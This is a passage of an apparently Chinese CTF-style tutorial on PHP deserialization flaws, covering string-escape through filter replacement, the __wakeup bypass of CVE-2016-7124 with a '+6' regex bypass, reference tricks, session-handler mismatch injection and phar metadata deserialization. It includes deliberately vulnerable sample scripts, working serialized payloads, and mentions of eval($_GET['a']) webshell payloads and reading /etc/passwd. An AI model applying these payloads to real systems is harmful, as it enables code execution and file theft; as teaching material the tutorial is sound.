O:1:"A":2:{s:2:"v1";s:66:"lslslslslsls...(要22个)";s:2"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

为了使

1
";s:2"v3";s:3:"666";}

被吐出来,我们就需要用很多的ls来转换pwd,最后使增多的字符数恰好等于我们要逃逸的字符数
然后我们需要的那部分就成功逃逸出来了

增多逃逸例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function filter($name){
$safe=array("flag","php");
$name-str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass="daydream";
function __construct($user){

}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>

简单的代审(强烈推荐去看P牛的php代审课)
如果出现flag,php,那么就会被替换为hack,然后只要porfile的成员变量$pass为escaping,就可以读到flag.php
你提交flag的成员变量给user,这不是纯扯淡吗,hack和flag不都是4字符,那还怎么去构造字符串逃逸,那就用php来构造字符串增多逃逸,思路很明确,这个手搓都能写出来

1
2
3
4
5
6
7
8
<?php
class test{
var $user=3a0;
var $pass='escaping';
}

echo serialize(new test());
?>

得到

1
O:4:"test":2:{s:4:"user";s:3:"3a0";s:4:"pass";s:8:"escaping";}

那直接更改成我们需要的payload即可

1
";s:4:"pass";s:8:"escaping";}

这部分是我们需要逃逸出来的(每次逃逸都要把前面的”;逃逸出来,因为方便)

然后去干user的值即可
计算出这一段是29个字符,那么就要写29个php,来吐出29个字符,那么就是要有29*4=116个字符

1
O:4:"test":2:{s:4:"user";s:116:"php*29";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"反正都被注释掉了我爱写什么写什么";}

如此便好

wakeup魔术方法绕过

反序列化漏洞:CVE-2016-7124

5.6到7.0版本内适用
产生原因:如果存在__wakeup方法,调用unserillize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行

说人话就是

1
O:4:"user":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b"}

这个是正常的,反序列化的时候会调用__wakeup()
但是要是改成

1
O:4:"user":3:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b"}

成员属性个数为3,但是后面实际只有v1和v2两个成员属性
所以不会触发__wakeup()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once(this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if(!isset($cmd)){
highlight_file(_FILE_);
}
else{
if(preg_match('/[oc]:\d+:/i',$cmd)){
echo "sb,bad"
}
else{
unserialize($cmd);
}
}
?>

flag在flag.php中

正则解析一下:意思是O:后面不能出现数字
这里有个unserialize,那么我们肯定是要调用__destruct()。把file改成flag.php输出

目前的问题就是unserialize的时候,__wakeup()和destruct()都会被触发,那么不管我们改成什么文件都会杯wakeup变回index.php,这个时候我们就需要绕过了

1
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}

把1改成2即可绕过__wakeup()

然后要绕过那个正则表达式,写个+(写成+6)即可绕过正则表达式的判断

1
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}

这里我有一个疑问,成员数量改变了,为什么还可以正常反序列化呢

引用的利用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include("flag.php");
class just4fun{
var $enter;
var $secret;
}
if(isset($_GET['pass'])){
$pass=$_GET['pass'];
$pass=str_replace('*','\*',$pass);
}
$o=unserialize($pass);
if($o){
$o->secret="*";
if($o->secret===$o->enter){
echo '正确';
}
else{
echo "错误";
}
}
else{
echo "sb";
}
?>

我们最后要确保secret和enter的值一致
这里的替换把换成*,那就是把从一个普通字符变成了在程序中有意义的字符,那我们接着跟进看一下

那么久是要在不输入*的情况下使$enter的值引用$secret的值

注意观察,题目里有现成的
secret的值不就是*吗

1
2
3
4
5
6
7
class just4fun{
var $enter;
var $secret;
}
$a=new just4fun();
$a->enter=&$a->$secret;
echo serialize($a);

注意这里有一个&,这个就是引用

session反序列化

当session_start()被调用或者php.ini中session.auto_start为1时,php内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)

存取数据的格式有多种,常用的有以下三种

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数序列化处理的值
php_serialize
(PHP ≥ 5.5.4)
经过 serialize() 函数序列化处理的数组
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列化处理的值

漏洞产生原因:写入格式和读取格式的不一致

php

1
2
3
4
<?php
session_start();
$_SESSION['BENBEN']=$_GET['BEN'];
?>

随便传个123进去
session就是

1
BENBEN|s:3:"123";

php_serialize

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['3a0']=$_GET['3a0'];
$_SESSION['B']=$_GET['B'];
?>

传个123和456

1
a:2:{s:3:"3a0";s:3:"123";s:1:"B";s:3:"456";}

php_binary

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['3a0']=$_GET['3a0'];
$_SESSION['b']=$_GET['b'];
?>
1
033a0s:3:"123";01b:3:"456";

前面那串奇怪的就是键名的长度对应的ascii字符+键名+经过serialize()函数序列化处理的值

情况举例:以serialize的格式去写入,以php的方式来读取

当网站序列化并存储 Session,与反序列化并读取 Session 的方式不同,就可能导致 Session 反序列化漏洞的产生。下面用两个脚本演示:

  1. save.php:以 php_serialize 格式保存 Session
1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

请求实例

1
GET /save.php?a= |O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}

保存的session

1
a:1:{s:3:"ben";s:39:"|O:1:\"D\":1:{s:1:\"a\";s:10:\"phpinfo();\";}";}
  1. vul.php:以默认 php 格式读取 Session
1
2
3
4
5
6
7
8
9
10
11
<?php
ini_set('session.serialize_handler', 'php');
session_start();

class D {
var $a;
function __destruct() {
eval($this->a);
}
}
?>

读取时 Session 结构

1
2
键名 | serialize() 处理后的值
a:1:{s:3:"ben";s:39:"| O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}";}

我们这上面的意思已经很显然了
我们打一个

1
a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}上去

然后就会被存为

1
a:1:{s:3:"ben";s:39:"|O:1:\"D\":1:{s:1:\"a\";s:10:\"phpinfo();\";}";}

那么按照php的读取session的操作,|前面都是键名,|后面的就会被解析
所以最后被读取的session如下,前面的被忽略,后面的被执行

1
a:1:{s:3:"ben";s:39:"| O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}";}

phar反序列化

什么是phar?
众所周知
JAR是开发Java程序的一个应用,包括所有的可执行,可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单
PHAR也是php中类似于jar的一种打包文件,对于PHP 5.3或者更高的版本,phar文件后缀是默认开启支持的,所以可以直接使用它
(一般我们在文件包含中就是用phar伪协议去读取.phar文件)

phar利用条件

  1. phar文件能上传到服务器端(无论是.phar还是.png等等等等,都不影响文件的利用,都可以被正常的利用和解析,因为在文件包含中已经被php解析了)
  2. 要有可用反序列化魔术方法作为跳板
  3. 要有文件操作函数(后续有提到)
  4. 文件操作函数参数可控,而且:,/,phar等特殊字符没被过滤

phar结构

  1. stub phar文件标识,格式为
1
xxx<?php xxx;__HALT_COMPiLER();?>;

(头部信息)
2. manifest压缩文件的属性信息,以序列化存储
3. contents压缩文件的内容
压缩

1
2
3
4
5
6
7
8
<?php
// 生成一个 siam.phar 文件
$phar = new Phar('test2.phar', 0, 'test2.phar');
// 添加 src 目录下的所有文件到 siam.phar 归档
$phar->buildFromDirectory('f:\\0Day');
// 设置执行时的入口文件,第一个用于命令行,第二个用于浏览器访问
// 这里都设置为 'hello.php'
$phar->setDefaultStub('test.txt', 'test.txt');

解压缩

1
2
3
<?php
$phar = new Phar('test.phar');
$phar->extractTo('test');
  1. signature签名,放在文件末尾

phar协议解析文件的时候,会自动触发对manifest字段的序列化字符串进行反序列化

Size in bytes Description
4 bytes Length of manifest in bytes (1 MB limit)
4 bytes Number of files in the Phar
2 bytes API version of the Phar manifest (currently 1.0.0)
4 bytes Global Phar bitmapped flags
4 bytes Length of Phar alias
?? bytes Phar alias (length based on previous field)
4 bytes Length of Phar metadata (0 for none)
?? bytes Serialized Phar Meta-data, stored in serialize() format
at least 24 × number of entries bytes Entries for each file

其中??代表的就是manifest

phar漏洞原理

manifest压缩文件的属性等信息,以序列化存储,存在一段序列化的字符串
调用phar伪协议,可读取.phar文件
phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
phar需要php>=5.2在php.ini中将phar.readonly设为off(注意去掉前面的分号)

能用phar伪协议读取phar文件的函数如下所示

受影响的函数
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

原理其实很简单,我们或传文件或直接获取权限去构造,反正要在manifest处写入一句可执行语句并且被序列化存储(一般是eval($_GET[‘a’])这种的),然后一旦我们用phar伪协议去读取这个phar文件,就会执行反序列化,然后调用题中的某种魔术方法,然后把我们写入的那个成员属性的值拿去执行,所以我们只要通过phar伪协议读取phar文件和传入a的值也就是系统命令

一般来说是用以下的步骤去写入恶意phar文件并利用的
alt text
alt text

phar伪协议一般可以用?file=/etc/passwd这样子返回的值来判断(看布尔值)

php反序列化终于是写完了,个人感觉是最基础最适合新手入门的,完结撒花